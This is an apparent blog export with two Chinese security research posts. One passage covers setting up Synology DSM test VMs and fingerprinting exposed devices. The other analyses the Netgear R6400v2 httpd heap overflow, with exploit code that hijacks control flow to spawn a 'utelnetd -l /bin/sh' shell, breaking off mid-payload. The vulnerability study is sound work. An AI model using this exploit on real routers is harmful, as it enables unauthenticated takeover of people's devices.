自己组装一个设备,或购买一个其他厂商的`NAS`设备,并安装群晖的`DSM`系统,即\"黑群晖\",其拥有大部分的功能,对于测试而言是足够的\n\n除了上述两种方式,`NAS`社区还提供了另一种方式,即创建一个群晖虚拟机。这种方式更适合于测试用途(比如想测试不同的`DSM`版本),因此下面主要对这种方式进行介绍。\n\n> 这里仅是出于安全研究的目的,如果有实际使用需要,建议购买群晖官方`NAS`设备。\n\n#### 安装DSM 6.2.1\n\n创建一个群晖虚拟机,主要需要如下两个文件。目前社区提供了针对不同`NAS`型号和不同`DSM`版本的`loader`,最新的`loader`版本适用于`DSM 6.2.1`,注意在安装时最好选择和`loader`对应的`NAS`型号及`DSM`版本。经测试,`ds918`系列的`loader`支持升级到`DSM 6.2.3`,即可以在先安装`DSM 6.2.1`版本后再手动升级到`DSM 6.2.3`。\n\n+ 群晖官方提供的[`DSM`文件](https://archive.synology.com/download/Os/DSM)(`pat`文件)\n+ 社区提供的[loader](https://mega.nz/#F!yQpw0YTI!DQqIzUCG2RbBtQ6YieScWg!yYwWkABb)\n\n> 关于`loader`是否可以升级以及是否成功升级等信息可参考[这里](https://xpenology.com/forum/forum/78-dsm-updates-reporting/)\n\n以`VMware Workspace`为例,创建群晖虚拟机需要先加载`synoboot`引导,再安装对应的`DSM`。由于下载的引导文件为`img`格式,需要先将其转换为`vmdk`格式,如下。\n\n```shell\n$ qemu-img convert -f raw -O vmdk synoboot.img synoboot.vmdk\n```\n\n之后正常创建`VMware`虚拟机,并使用之前转换得到的`vmdk`文件。其中,**在选择安装引导的磁盘类型时,一定要选择`SATA`类型**,选择`SCSI`的话可能会造成后续引导无法识别或启动。创建完毕后,再正常添加额外的硬盘,用于数据存储。启动虚拟机后,通过`Web Assistant`或`Synology Assistant`进行安装和配置,完成之后就可以通过浏览器成功访问`NAS`虚拟机了。\n\n> `Synology Assistant`是一个客户端软件,用于在局域网内搜索和管理对应的`NAS`设备。\n\n<img src=\"images/cq674350529_synology_918_dsm62.png\" style=\"zoom:55%\">\n\n之后,可以通过手动更新的方式将其升级到`DSM 6.2.3`版本。前面提到过,通过这种方式只能得到`DSM 6.2.3`版本的虚拟机,而目前群晖`DSM`的最新版本包括`DSM 6.2.4`和`DSM 7.0`,无法通过这种方式安装。不过,可以基于刚创建的`NAS`虚拟机,借助群晖提供的`Virtual Machine Manager`套件来安装`DSM 6.2.4`或`DSM 7.0`版本的虚拟机。\n\n#### 安装DSM 6.2.4/DSM 7.0\n\n群晖套件`Virtual Machine Manager`,通过一个集中且规范的接口集成了多种虚拟化解决方案,可以让用户在`NAS`上轻松创建、运行和管理多台虚拟机,当然也包括群晖的虚拟`DSM`。\n\n<img src=\"images/cq674350529_synology_vmm.png\" style=\"zoom:70%\">\n\n简单而言,可以先创建一个`DSM 6.2.3`版本的虚拟机,然后在该虚拟机内部,借助`Virtual Machine Manager`套件再安装一个或多个`virtual DSM`。其中,在安装`virtual DSM`时,需要保证对应的存储空间格式为`Brtfs`,可以通过额外添加一个硬盘(容量尽量大一点,比如`40G`或以上)的方式,新增加存储空间时选择`SHR(Brtfs)`即可。另外,一个`Virtual Machine Manager`里面似乎只提供了一个`Virtual DSM`的免费`License`,因此如果安装了多个`Virtual DSM`的话,多个虚拟实例无法同时启动。这里通过切换虚拟实例的方式来避免这一问题,对于安全测试而言足够了。\n\n<img src=\"images/cq674350529_synology_918_dsm70.png\" style=\"zoom:60%\">\n\n> 由于目前`DSM 7.0`还在测试阶段,一些功能或特性不是特别稳定或成熟,因此本系列文章还是以`DSM 6.1`/`DSM6.2`版本为主。\n\n#### 安装DSM 7.x\n\n早期的`loader`均是由`Jun`提供,但最近几年没怎么更新了。针对`DSM 7.x`系列版本,社区提供了一个新的[TinyCore RedPill (TCRP) loader](https://xpenology.com/forum/topic/61634-dsm-7x-loaders-and-platforms/),基于该`loader`,可以直接创建`DSM 7.x`系列版本的群晖虚拟机。采用`TinyCore Redpill loader`,可能需要进行自定义修改和编译,以得到对应的`loader image`,过程相对烦琐。国外有人开源了一个[arpl编译工具](https://github.com/fbelavenuto/arpl),可以自动完成相关`loader`的编译工作,让`DSM7.x`引导的编译和安装变得非常简单,具体可参考[这里](https://blog.csdn.net/u012514495/article/details/127460955)。\n\n#### 群晖在线Demo\n\n群晖官方也提供了供在线体验的[`DSM`实例](https://demo.synology.com/en-global/dsm),包括`DSM 6.2.4`和`DSM 7.0`版本。当然,你也可以基于该坏境去进行安全分析与测试,不过可能会有一些限制比如无法使用`SSH`访问`shell`等,或者其他顾虑等等。\n\n#### 工具安装\n\n群晖`NAS`上提供了`SSH`功能,开启后可以访问底层`Linux shell`,便于后续的调试与分析等。此外,群晖还提供了一个名为`Diagnosis Tool`的套件,其包含很多工具,如`gdb`和`gdbserver`等,便于对程序进行调试。通常,可以通过套件中心搜索并安装该套件,如果在套件中心中无法找到该套件的话,可以通过在`shell`命令行采用命令`synogear install`进行安装,如下。\n\n```shell\n$ sudo -i\t# 切换到root用户\n$ synogear install # 安装套件\n```\n\n### 设备指纹\n\n群晖`NAS`主要是用在远程访问的场景下,此时唯一的入口是通过`5000/http`(`5001/https`)进行访问(暂不考虑使用`QuickConnect`或其他代理的情形)。使用设备搜索引擎如`shodan`查找暴露在公网上的设备,如下。可以看到,确实只有少量的端口可以访问。\n\n<img src=\"images/cq674350529_synology_nas_shodan_search.png\" style=\"zoom:75%\">\n\n为了进一步地知道目标设备的`DSM`版本、安装的套件和对应的版本等信息,需要获取更精细的设备指纹。通过分析,发现在`index`页面中存在对应的线索。具体地,`index`页面中存在一些`css`链接,表明有哪些内置的模块和安装的第三方套件。同时,其中也包含一些`NAS`特有的脚本链接。根据上述信息,可以构建一些`query`用于更准确地查找群晖`NAS`设备。\n\n```\nPort: 5000/5001 # default\nShodan query: html:\"SYNO.Core.Desktop.SessionData\" \n```\n\n<img src=\"images/cq674350529_synology_nas_index.png\" style=\"zoom:75%\">\n\n另外,在每个链接后面还有一个参数`v`,其表示最后更改时间的时间戳,即对应构建时的时间戳。以如下链接为例,时间戳`1589235146`可转换为时间`2020-05-12 06:12:26`。通过在[群晖镜像仓库](https://archive.synology.com/download/Os/DSM)中查找各`DSM`版本发布的时间,可以推测该`DSM`版本为`6.2.3-25426`。类似地,`AudioStation`套件的版本为`6.5.6-3377`。\n\n```\nwebapi/entry.cgi?api=SYNO.Core.Desktop.SessionData&version=1&method=getjs&SynoToken=&v=1589235146\n```\n\n同时,默认访问`index`页面时还会发送其他请求,其中请求`/webapi/entry.cgi?api=SYNO.Core.Desktop.Defs&version=1&method=getjs&v=1589235146`的响应中包含设备的具体型号信息,示例如下。根据`upnpmodelname`和`unique`等字段,可知设备的型号为`VirtualDSM`。\n\n```js\n_SYNOINFODEF = {\n \"support_ebox\": \"yes\",\n /* ... */\n \"upnpmodelname\": \"DS1517\",\n /* ... */\n \"unique\": \"synology_alpine_ds1517\",\n /* ... */\n \"synobios\": \"ds1517\",\n /* ... */\n};\n```\n\n进一步地,可以通过访问`http://<host>:<port>/ssdp/desc-DSM-eth0.xml`, 获取设备的具体型号、版本以及序列号等信息。需要说明的是,针对某些有多块网卡的设备如`DS1517`,访问`/ssdp/desc-DSM-eth0.xml`可能会提示页面不存在,这是因为设备的`eth0`网口未连通,可以尝试将`eth0`换成`eth1`、`eth2`或`eth3`等后再尝试。\n\n> 通常,设备搜索引擎只会探测`http://<host>:<port>/`下的默认页面,对于该二级页面没有进行探测。\n\n```xml\n<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>\n<friendlyName>VirtualDSM (VirtualDSM)</friendlyName>\n<manufacturer>Synology</manufacturer>\n<manufacturerURL>http://www.synology.com</manufacturerURL>\n<modelDescription>Synology NAS</modelDescription>\n<modelName>VirtualDSM</modelName>\n<modelNumber>VirtualDSM 6.2-25556</modelNumber>\n<modelURL>http://www.synology.com</modelURL>\n<modelType>NAS</modelType>\n<serialNumber>xxxxxx</serialNumber>\n<UDN>xxxxxx</UDN>\n```\n\n### 相关事件/研究\n\n近年来,有一些关于群晖的安全事件,其中包括:\n\n+ 在`2018`年的`GeekPwn`比赛中,来自长亭科技的安全研究员攻破了群晖`DS115j`型号`NAS`设备,成功获取了设备上的`root`权限;\n+ 在`Pwn2Own Tokyo 2020`比赛中,有2个团队攻破了群晖`DS418Play`型号`NAS`设备,均成功拿到了设备上的`root shell`。\n\n同时,也有一些安全研究人员对群晖设备进行了分析,感兴趣的可以看看。\n\n+ [Network Attached Security: Attacking a Synology NAS](https://www.nccgroup.com/ae/about-us/newsroom-and-events/blogs/2017/april/network-attached-security-attacking-a-synology-nas/)\n+ [SOHOpelessly Broken 2.0 - Security Vulnerabilities in Network Accessible Services](https://www.ise.io/casestudies/sohopelessly-broken-2-0/index.html)\n+ [Vulnerability Spotlight: Multiple vulnerabilities in Synology SRM (Synology Router Manager)](https://blog.talosintelligence.com/2020/10/vulnerability-spotlight-multiple.html)\n+ [Vulnerability Spotlight: Multiple vulnerabilities in Synology DiskStation Manager](https://blog.talosintelligence.com/2021/04/vuln-spotlight-synology-dsm.html)\n\n### 小结\n\n本文首先对群晖`NAS`进行了简单介绍,然后给出了如何搭建群晖`NAS`环境的方法,为后续的安全分析做准备。同时,对设备指纹进行了简单讨论,并介绍了与群晖`NAS`相关的一些安全事件/安全研究等。后续文章将对群晖`NAS`设备上的部分服务、功能或套件等进行分析,并分享一些实际发现的安全问题。\n\n### 相关链接\n\n+ [DSM 6.1.x Loader](https://xpenology.com/forum/topic/6253-dsm-61x-loader/)\n+ [各版本引导下载](https://mega.nz/#F!yQpw0YTI!DQqIzUCG2RbBtQ6YieScWg!yYwWkABb)\n+ [群晖镜像/套件下载](https://archive.synology.com/download)\n+ [DSM 7.x Loaders and Platforms](https://xpenology.com/forum/topic/61634-dsm-7x-loaders-and-platforms/)\n+ [Automated Redpill Loader](https://github.com/fbelavenuto/arpl)\n+ [安装黑群晖不求人,arpl在线编译安装群晖教程](https://blog.csdn.net/u012514495/article/details/127460955)\n+ [Bug Hunting in Synology NAS](https://www.powerofcommunity.net/poc2019/Qian.pdf)\n+ [A Journey into Synology NAS](https://conference.hitb.org/files/hitbsecconf2021ams/materials/D1T2%20-%20A%20Journey%20into%20Synology%20NAS%20-%20QC.pdf)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/251883](https://www.anquanke.com/post/id/251883)\n\n","tags":["Synology"],"categories":["IoT"]},{"title":"Netgear R6400v2 堆溢出漏洞分析与利用","url":"/2021/03/19/Netgear-R6400v2-堆溢出漏洞分析与利用/","content":"\n### 漏洞简介\n\n2020年6月,`ZDI`发布了一个关于`Netgear R6700`型号设备上堆溢出漏洞的[安全公告](https://www.zerodayinitiative.com/advisories/ZDI-20-709/),随后又发布了一篇关于该漏洞的[博客](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router),其中对该漏洞进行了详细分析,并给出了完整的漏洞利用代码。该漏洞存在于对应设备的`httpd`组件中,在处理配置文件上传请求时,由于对请求内容的处理不当,在后续申请内存空间时存在整数溢出问题,从而造成堆溢出问题。攻击者利用这一漏洞可以在目标设备上实现代码执行,且无需认证。\n\n<!-- more -->\n\n此前,关于`IoT`设备上公开的带完整漏洞利用的堆溢出漏洞比较少(好像公开的堆溢出漏洞就不多...),正好手边有一个`R6400v2`型号的设备,因此打算分析一下该漏洞,了解漏洞利用的思路,并尝试基于`R6400v2`型号设备实现漏洞利用。\n\n### 漏洞分析\n\n根据`Netgear`官方的[安全公告](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders),针对`R6400v2`型号设备,版本`v1.0.4.84`及其之前版本受该漏洞影响,在之后的版本中修复了该漏洞,因此选择`v1.0.4.84`版本来对该漏洞进行分析。\n\n`ZDI`的[博客](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router)中已经对该漏洞进行了分析,故这里简单说明下。该漏洞存在于`httpd`组件的`http_d()`函数中,在处理配置文件上传请求时(接口为`\"/backup.cgi\"`),在`(1)`处会调用`recv()`读取数据,第一次读取完数据后,程序流程会到达`(2)`处,对请求头中的部分字段进行判断。之后会再次调用`recv()`读取数据,之后程序流程会到达`(3)`处。之后在`(4)`处计算请求头中`\"Content-Length\"`字段对应的值,基于该值,在`(5)`处计算实际的文件内容长度。在`(6)`处会根据计算得到的文件内容大小申请内存空间,在`(7)`处调用`memcpy()`进行拷贝。\n\n存在该漏洞的原因在于,在计算请求头中`\"Content-Length\"`字段对应的值时,通过调用`stristr(s1, \"Content-Length: \")`来定位其位置,当在请求`url`中包含`\"Content-Length: \"`时,可使得计算的值错误,从而影响后续申请的堆块大小。通过伪造合适的`\"Content-Length: xxx\"`,可造成后续在调用`memcpy()`时出现堆溢出。该漏洞的发现者`d4rkn3ss`给出的请求`url`为`\"/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559\"`。\n\n> 同样,由于在`R6400v2`设备上存在`nginx`代理,`nginx`会保证请求头中的`Content-Length`对应的值与请求体的内容长度相等,故无法通过直接伪造原始请求头中的`Content-Length`触发。\n\n```c\nint http_d(int a1)\n{\n // ...\n if ( v248.s_addr ) {\n // ...\n while ( 1 ) {\n while ( 1 ) {\n while ( 1 ) {\n while ( 1 ) {\n do\n {\n // ...\n if ( (((unsigned int)v223[0].__fds_bits[(unsigned int)dword_F253F4 >> 5] >> (dword_F253F4 & 0x1F)) & 1) != 0\n || (v92 = dword_1994EC) != 0 )\n {\n var_recv_len = my_read(dword_F253F4, &recv_buf, 0x400u); // (1) recv(), 请求过长的话会被调用多次\n // ...\n }\n v152 = v198;\n goto LABEL_395;\n }\n while ( var_recv_len == -2 );\n if ( v150 )\n break;\n v144 = var_recv_len + var_offset;\n if ( (int)(var_recv_len + var_offset) >= 0x10000 )\n {\n // ...\n }\n else\n {\n memcpy(&s1[var_offset], &recv_buf, var_recv_len); // (2)\n s1[v144] = 0;\n if ( stristr(s1, \"Content-Disposition:\") && stristr(s1, \"Content-Length: \") && stristr(s1, \"upgrade_check.cgi\")\n && (stristr(s1, \"Content-Type: application/octet-stream\") || stristr(s1, \"MSIE 10\"))\n || stristr(s1, \"Content-Disposition:\") && stristr(s1, \"Content-Length: \") && stristr(s1, \"backup.cgi\")\n || stristr(s1, \"Content-Disposition:\") && stristr(s1, \"Content-Length: \")&& stristr(s1, \"genierestore.cgi\") )\n {\n // ...\n goto LABEL_356;\n }\n // ...\nLABEL_356:\n v150 = 1; goto LABEL_357;\n }\n // ...\n }\n //...\n }\n // ...\n v107 = stristr(s1, \"name=\\\"mtenRestoreCfg\\\"\"); // (3)\n if ( v107 && (v108 = stristr(v107, \"\\r\\n\\r\\n\")) != 0 )\n {\n v109 = v108 + 4; // 指向文件内容\n v102 = v108 + 4 - (_DWORD)s1; // post请求部分除文件内容之外其他部分的长度\n v110 = stristr(s1, \"Content-Length: \");// 没有考虑其位置,可以在url中伪造,进而造成后续出现堆溢出\n if ( !v110 )\n goto LABEL_286;\n v111 = v110 + 15;\n v112 = stristr(v110 + 16, \"\\r\\n\") - (v110 + 16);\n v105 = 0;\n for ( i = 0; i < v112; ++i ) // (4) Content-Length对应的值\n {\n v114 = *(char *)++v111;\n v105 = v114 - '0' + 10 * v105;\n }\n if ( v105 > 0x20017 ) // post data部分的长度\n {\n v105 = stristr(s1, \"\\r\\n\\r\\n\") + v105 + 4 - v109;// (5) 计算文件内容的长度, 由于v105是伪造的, 故计算得到的结果会有问题\n goto LABEL_287;\n }\n // ...\n }\n else\n {\n // ...\nLABEL_287:\n // ...\n if ( dword_1A870C )\n {\n free((void *)dword_1A870C);\n dword_1A870C = 0;\n }\n sub_2F284((int *)&v224);\n dword_1A870C = (int)malloc(v105 + 0x258); // (6)\n if ( dword_1A870C || ...)\n {\n memset((void *)dword_1A870C, 0x20, v105 + 0x258);\n v203=var_offset-v102; // 对于超长请求, var_offset最大值位0x800(只会触发recv() 2次)\n memcpy((void *)dword_1A870C, &s1[v102], var_offset-v102);// (7) heap overflow\n // ...\n```\n\n### 漏洞利用\n\n#### 原始方法\n\n`ZDI`的[博客](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router)中也给出了漏洞的上下文以及利用思路,这里进行简单概括。关于该漏洞的上下文如下:\n\n+ 可以往堆上写任意的数据,包括`'\\x00'`\n\n+ `ASLR` 等级为1,因此堆空间的起始地址是固定的\n\n+ 该设备使用的是`uClibc`,相当于一个简化版的`glibc`,其关于堆的检查条件比`glibc`中宽松很多\n\n+ 在实现堆溢出之后,`fopen()`函数会被调用,其中会分别调用`malloc(0x60)`和`malloc(0x1000)`,之后也会调用free()进行释放。堆块的申请与释放先后顺序如下:\n\n ```c\n free(dword_1A870C) -> dword_1A870C = malloc(<controllable_size>) -> free(malloc(0x60)) -> free(malloc(0x1000))\n ```\n\n+ 通过请求接口`\"/strtblupgrade.cgi\"`,可以实现任意大小的堆块申请与释放:`free(malloc(<controllable_size>))`\n\n`d4rkn3ss`利用`fastbin dup attack`的思路来进行漏洞利用,即通过破坏堆的状态,使得后续的`malloc()`返回指定的地址,由于可以往该地址写任意内容(`write-what-where`),故可以通过覆盖`got`表项的方式实现任意代码执行。但是前面提到,在实现堆溢出之后,在`fopen()`内会调用`malloc(0x1000)`,其会触发`__malloc_consolidate()`,从而破坏已有的`fastbin`,因此需要先解决`__malloc_consolidate()`的问题。\n\n在`uClibc`中的`free()`函数内,在释放`fastbin`时存在越界写问题,而在`malloc_state`结构体中,`max_fast`变量正好在`fastbins`数组前,通过越界写可以实现修改`max_fast`变量的目的。当`max_fast`变量被改成一个很大的值后,后续再调用`malloc(0x1000)`时便不会触发`__malloc_consolidate()`,从而可以执行`fastbin dup attack`。\n\n```c\nvoid free(void* mem)\n{\n // ...\n /*\n If eligible, place chunk on a fastbin so it can be found\n and used quickly in malloc.\n */\n\n if ((unsigned long)(size) <= (unsigned long)(av->max_fast)\n\n#if TRIM_FASTBINS\n\t /* If TRIM_FASTBINS set, don't place chunks\n\t bordering top into fastbins */\n\t && (chunk_at_offset(p, size) != av->top)\n#endif\n ) {\n\n\tset_fastchunks(av);\n\tfb = &(av->fastbins[fastbin_index(size)]);\t// out-of-bounds write\n\tp->fd = *fb;\n\t*fb = p;\n }\n // ...\n\nstruct malloc_state {\n\n /* The maximum chunk size to be eligible for fastbin */\n size_t max_fast; /* low 2 bits used as flags */\n\n /* Fastbins */\n mfastbinptr fastbins[NFASTBINS];\n\n /* Base of the topmost chunk -- not otherwise kept in a bin */\n mchunkptr top;\n\n /* The remainder from the most recent split of a small request */\n mchunkptr last_remainder;\n // ...\n```\n\n综上,漏洞利用的过程如下:\n\n+ 通过堆溢出修改下一个空闲块的`prev_size`字段和`size`字段,填充合适的`prev_size`值,并使得`PREV_INUSE`标志位为0;\n\n > 之后在触发`__malloc_consolidate()`时,会对该`fastbin`进行后向合并,因此需要保证能根据伪造的`prev_size`找到前面的某个空闲块,否则`unlink`时会报错\n\n+ 通过`/strtblupgrade.cgi`接口申请一个合适大小的堆块,该堆块会与上面已分配的堆块重叠,从而可以修改上面堆块的大小为`0x8`;\n\n > 在上一步`__malloc_consolidate()`后,由于堆块的后向合并,故会存在一个空闲的堆块与已分配的堆块重叠\n\n+ 释放上面已分配的堆块,在将其放入`fastbins`数组中时,会出现越界写,从而将`max_fast`修改为一个很大的值;\n\n > max_fast被修改为一个很大的值后,调用`mallco(0x1000)`时就不会触发`__malloc_consolidate()`,之后就可以执行`fastbin dup attack`\n\n+ 再次通过堆溢出覆盖下一个空闲块,修改其`fd`指针为`free()`的`got`地址(准确来说为`free_got_addr - offset`);\n\n+ 连续申请2个合适的堆块,返回的第2个堆块的地址指向`free()`的got表项,通过向堆块中写入数据,将其修改为`system()`的`plt`地址;\n\n+ 当释放第2个堆块时,执行`free()`将调用`system()`,同时其参数指向构造的`payload`,从而实现代码执行。\n\n> `H4lo`师傅提供了另外的思路来进行漏洞利用,具体可参考[这里](https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/)\n\n#### \"意外\"方法\n\n基于上述思路,在`R6400v2`设备上进行漏洞利用时发现存在如下问题:\n\n+ 通过`malloc(0x30) -> malloc(0x40) -> malloc(0x30)`方式进行堆布局时,得到的两个堆块之间的偏移比较小,但是由于返回的堆地址比较小,在后续触发`__malloc_consolidate()`对空闲堆块进行后向合并时,往前找不到合适的空闲堆块,无法进行堆块合并。尝试通过分配不同的堆块大小、以及发送不同的请求等方式,均无法得到满足条件的堆块。\n+ 通过`malloc(0x20) -> malloc(0x10) -> malloc(0x20)`方式进行堆布局时,得到的两个堆块之间的偏移比较大(`超过0x470`),按照`d4rkn3ss`提供的漏洞利用代码,好像无法实现溢出来覆盖下一个堆块。\n\n由于多次尝试第一种方式均失败,只能寄希望于第二种方式。由于触发漏洞的接口为`\"/backup.cgi\"`(配置文件上传接口),按理来说上传的配置文件可以比较大,故该接口应该可以处理较长的请求,但当文件内容长度超过`0x400`时却无法溢出。通过对该请求的处理流程进行分析发现,要通过该接口触发漏洞,整个请求的长度要在`0x400~0x800`之间,如下:\n\n+ 该请求必须触发2次`recv()` ,即对应请求长度必须>`0x400`,否则无法到达漏洞点处;\n+ 该请求只会触发2次`recv()`,当对应请求长度>`0x800`,过长的内容会被截断,后续拷贝时无法造成溢出。\n\n在`d4rkn3ss`提供的漏洞利用脚本中,可以看到在请求头中有一个`'a'*0x200`的占位符,同时`make_filename()`也有一个类似的占位符,因此实际可上传的配置文件大小约为`0x2c0`左右,故当两个堆块之间的偏移超过`0x400`时无法造成堆溢出。解决方式很简单,当要上传大文件时,去掉占位符`'a'*0x200`即可。\n\n```python\ndef make_filename(chunk_size):\n return 'a' * (0x1d7 - chunk_size)\n\ndef exploit():\n path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'\n headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']\n```\n\n在解决了该问题后,打算按照原来的思路进行利用,可能存在的一些问题如下:\n\n+ 两个堆块之间的偏移约为`0x470`,而且不相邻,在溢出覆盖目标空闲堆块时是否会破坏其他结构?\n+ 溢出到目标空闲堆块后,在触发`__malloc_consolidate()`对该空闲堆块进行后向合并时,后向偏移约为`0x24e0`,通过`/strtblupgrade.cgi`接口申请合适大小的堆块,利用该堆块修改上面已分配堆块的`size`字段,是否会破坏其他结构?\n\n经过测试,发现和预期不太一致:通过`/strtblupgrade.cgi`接口申请的堆地址在前面合并的空闲堆块地址之前,同时,此时的`$PC`已经被填充的`payload`控制了,直接实现了劫持控制流的目的。如下,可以看到`$PC`的值来自于填充的内容,同时部分寄存器如`$R4`也指向填充的`payload`。因此,只需要找到合适的`rop gadgets`,构造合适的`payload`,即可实现代码执行。\n\n<img src=\"images/httpd_pc_control_crash.png\" style=\"zoom:80%\">\n\n根据`backtrace`信息,查看`uClibc`中函数`__stdio_WRITE()`的源码,如下。在`__stdio_WRITE()`中,正常情况下是通过宏`_WRITE`来调用`__gcs.write()`函数,但经过上述操作后,`STREAMPTR`指向了填充的`payload`,从而可以控制`(STREAMPTR)->__gcs.write`。经过调试暂时未定位到修改`STREAMPTR`的地方(在下断点进一步分析时,有时貌似无法复现... 暂时未想到其他方式来定位),感兴趣的可以试试。\n\n```c\n// in _WRITE.c\nsize_t attribute_hidden __stdio_WRITE(register FILE *stream,\n\t\t\t\t\t register const unsigned char *buf, size_t bufsize)\n{\n\tsize_t todo;\n\tssize_t rv, stodo;\n\n\t__STDIO_STREAM_VALIDATE(stream);\n\tassert(stream->__filedes >= -1);\n\tassert(__STDIO_STREAM_IS_WRITING(stream));\n\tassert(!__STDIO_STREAM_BUFFER_WUSED(stream)); /* Buffer must be empty. */\n\n\ttodo = bufsize;\n\n\twhile (todo != 0) {\n\t\tstodo = (todo <= SSIZE_MAX) ? todo : SSIZE_MAX;\n\t\trv = __WRITE(stream, (char *) buf, stodo);\t\t// <===\n // ...\n\n// _stdio.h \n#define __WRITE(STREAMPTR,BUF,SIZE) \\\n\t((((STREAMPTR)->__gcs.write) == NULL) ? -1 : \\\n\t(((STREAMPTR)->__gcs.write)((STREAMPTR)->__cookie,(BUF),(SIZE))))\n```\n\n综上,上述思路的主要过程如下。需要说明的是,在未访问设备`Web`后台(比如重启设备后)和访问`Web`后台后,调用`malloc(0x8)`返回的堆块地址不太一致(存在0x10的偏移),使得下列过程不太稳定(不适用于访问过`Web`后台的情形),建议重启设备后测试。本来想通过触发`__malloc_consolidate()`来使得堆块状态一致,但好像不起作用...\n\n> `colorlight`师傅建议通过先多次发送登录请求(错误的认证即可),当响应的状态码为`200`时,可使得两种情形下的堆状态一致,但测试后发现针对上述情形似乎仍然无效 ...\n\n```python\n# XXX: useless??? use __malloc_consolidate() to make the heap consistent\nprint '[+] malloc 0x38 chunk'\nf = copy.deepcopy(files)\nf['filename'] = make_filename(0x38)\npost_request(path, headers, f)\n\nprint '[+] malloc 0x20 chunk'\n# r0 0x1033ba0 <-- return here\nf = copy.deepcopy(files)\nf['filename'] = make_filename(0x20)\npost_request(path, headers, f)\n\nprint '[+] malloc 0x8 chunk'\n# 0x103400c ◂— 0x10\n# r0 0x1034010 <-- return here # TODO: how to make it stable (0x1034010/0x1034020)\nf = copy.deepcopy(files)\nf['filename'] = make_filename(0x8)\npost_request(path, headers, f)\n\nprint '[+] malloc 0x20 chunk'\n# r0 0x1033ba0 <-- return here\nheaders = ['Host: %s:%s' % (rhost, rport)] # remove `'a'*0x200 + ': d4rkn3ss'`\nf = copy.deepcopy(files)\nf['filename'] = make_filename(0x20)\nf['filecontent'] = 'a' * 0x468 + p32(0x24e0) + p32(0x10) # offset: 0x470\npost_request(path, headers, f)\n\nprint '[+] malloc 0x2080 chunk and try to overwrite size of 0x28 chunk -> 0x9.'\n# r0 0x1031ac8 <-- return here\n# ...\n# 0x1031b20 # consolidated free chunk\n# ...\n# r0 0x1033ba0\n# ...\n# 0x103400c ◂— 0x10\n# r0 0x1034010\nmalloc_size = 0x2080 # a large value is ok, not need to be precise in this case\nf = copy.deepcopy(files)\nf['name'] = 'StringFilepload'\nf['filename'] = 'a' * 0x100\n\n# hijack $PC in __stdio_WRITE()\nsystem_gadget = 0xF3C8\ncmd = 'utelnetd -d -l /bin/sh'.ljust(32, '\\x00') # changed to \"utelnetd -d -d -l /bin/sh\"\npayload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaaumaaunaauoaaupaauqaauraausaautaauuaauvaauwaauxaauyaauzaavbaavcaavdaaveaavfaavgaavhaaviaavjaavkaavlaavmaavnaavoaavpaavqaavraavsaavtaa